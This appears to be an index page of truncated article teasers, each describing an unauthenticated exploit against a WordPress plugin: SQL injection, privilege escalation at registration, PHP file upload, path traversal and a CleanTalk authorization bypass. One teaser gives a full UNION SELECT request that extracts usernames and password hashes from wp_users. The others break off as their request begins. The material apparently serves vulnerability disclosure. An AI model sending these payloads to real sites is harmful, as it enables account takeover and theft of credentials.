## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit An unauthenticated attacker with no prior account access can inject arbitrary PHP code into a PDF invoice that executes on the server during generation. The vulnerability chain requires three conditions: missing authenticati...
Read article →## The Exploit Any unauthenticated user can register on an affected WordPress site running ACF Extended ≤0.9.2.1 with a user registration form that maps the `role` field to a custom field; the attacker submits `administrator` as the role v...
Read article →## The Exploit An unauthenticated attacker with control over reverse DNS (PTR) records for their IP address can bypass the `checkWithoutToken` authorization gate and trigger arbitrary plugin installation on sites running CleanTalk up to ve...
Read article →## The Exploit **Unauthenticated attacker; no authentication required.** ```http GET /wp-admin/admin-ajax.php?action=ig_es_get_subscribers&list_id=1' UNION SELECT user_login,user_pass,3,4,5,6,7,8,9,10 FROM wp_users-- HTTP/1.1 Host: target...
Read article →## The Exploit An unauthenticated attacker can traverse the filesystem and load arbitrary PHP files by manipulating the `style` parameter passed to the `load_template()` function. Below is a working HTTP request against a vulnerable ShopLe...
Read article →## The Exploit An unauthenticated attacker can upload a PHP file to the affected WordPress site by uploading a file with a double extension, such as `shell.php.sql`. ```http POST /wp-content/plugins/wp-tcapsule-bridge/upload/php/UploadHan...
Read article →## The Exploit An unauthenticated attacker can register a new WordPress user account with administrator-level privileges by supplying an arbitrary role parameter during signup. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.l...
Read article →## The Exploit An unauthenticated attacker can inject time-based SQL via the `order_by` parameter in any LearnPress API endpoint or frontend handler that accepts course filtering. ```http GET /wp-json/lp/v1/courses?order_by=post_date AND ...
Read article →## The Exploit An unauthenticated attacker can register on a vulnerable WordPress installation and immediately grant themselves administrator privileges by injecting arbitrary user metadata during the registration request. ```http POST /w...
Read article →